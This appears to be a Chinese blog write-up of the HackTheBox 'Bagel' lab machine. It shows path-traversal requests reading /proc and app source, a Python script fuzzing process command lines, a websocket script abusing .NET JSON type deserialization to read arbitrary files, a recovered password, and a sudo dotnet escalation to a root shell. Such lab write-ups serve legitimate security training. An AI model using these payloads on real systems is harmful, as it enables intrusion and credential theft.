HackTheBox Bagel

端口扫描

nmap -sC -sV 10.10.11.201 -o bagel

echo "10.10.11.201 bagel.htb" >> /etc/hosts

任意文件下载

http://bagel.htb:8000/?page=index.html 注意看这个网址,它是去包含其他页面的,接下来测试一下

cat passwd|grep -vE 'nologin' 筛选可以登陆的用户,上面看到ssh端口是开启的,尝试找一下密钥文件

http://bagel.htb:8000/?page=../../../../proc/self/cmdline

将进程文件下载下来,查看一下正在运行的文件,获取到正在运行的进程,/home/developer/app/app.py

http://bagel.htb:8000/?page=../../../../home/developer/app/app.py

查看一下app.py的代码

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:  // 判断是否有参数过来
            page = 'static/'+request.args.get('page')  // 有的话就附加到static/目录下
            if os.path.isfile(page):  // 判断文件是否存在
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"  // 不存在就返回这里的内容
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)  // 存在就重定向到index.html页面

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    // 这里连接到运行的websocket服务器上
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"} 
        data = str(json.dumps(order))  // 向5000端口发送带有ReadOrder和orders.txt
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
 // 将服务器接收到的ReadOrder内容以字符串返回
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
这段提示:先用“dotnet<pathto.dll>”命令运行order应用程序。使用ssh密钥访问计算机

所以,我们可以写一个脚本来获取 .dll 文件,从而获取到ssh密钥

from pwn import log
import requests

url = "http://bagel.htb:8000"
dir = log.progress("FUZZ cmdline")
for pid in range(900,1000):
    dir.status(str(pid))
    params = {"page": f"../../../../proc/{pid}/cmdline"}
    r = requests.get(url, params=params)
    log.info(f"{pid}: " + r.text.strip().replace("\x00", " "))

/opt/bagel/bin/Debug/net6.0/bagel.dll 获取到了.dll文件,将此文件下载下来

用dnSpy分析C程序代码

用dnSpy应用打开

k8wdAYYKyhnjg3K 获取到一个密码

该属性有getter和setter两个方法,可以通过属性来获取ReadOrder的值;
当设置ReadOrder变量的值时,首先会将该值中的“/”和“..”字符替换为空字符串,以防止目录穿越攻击。然后,将order_filename变量设置为过滤后的值,最后将file.ReadFile设置为order_filename的值,以指定要读取的文件路径。
当读取ReadOrder变量的值时,会返回file.ReadFile的值,即当前指定的要读取的文件的内容。

编写脚本读取文件

写一个python脚本,解析websocket服务器端json对象,输出读取到的内容

import sys
import websocket
import json

if len(sys.argv) < 2:
    print(f"Usage: python3 {sys.argv[0]} <filename>")
    sys.exit(1)

ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/")

order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": f"../../../../../../../{sys.argv[1]}"}}
data = str(json.dumps(order))
ws.send(data)
output = ws.recv()
json = json.loads(output)
print(json["RemoveOrder"]["ReadFile"])

权限提升

用户:developer
密码:k8wdAYYKyhnjg3K

https://gtfobins.github.io/gtfobins/dotnet/

sudo dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;

flag

posted @ 2023-03-05 16:50  Cx330Lm  阅读(187)  评论(0编辑  收藏  举报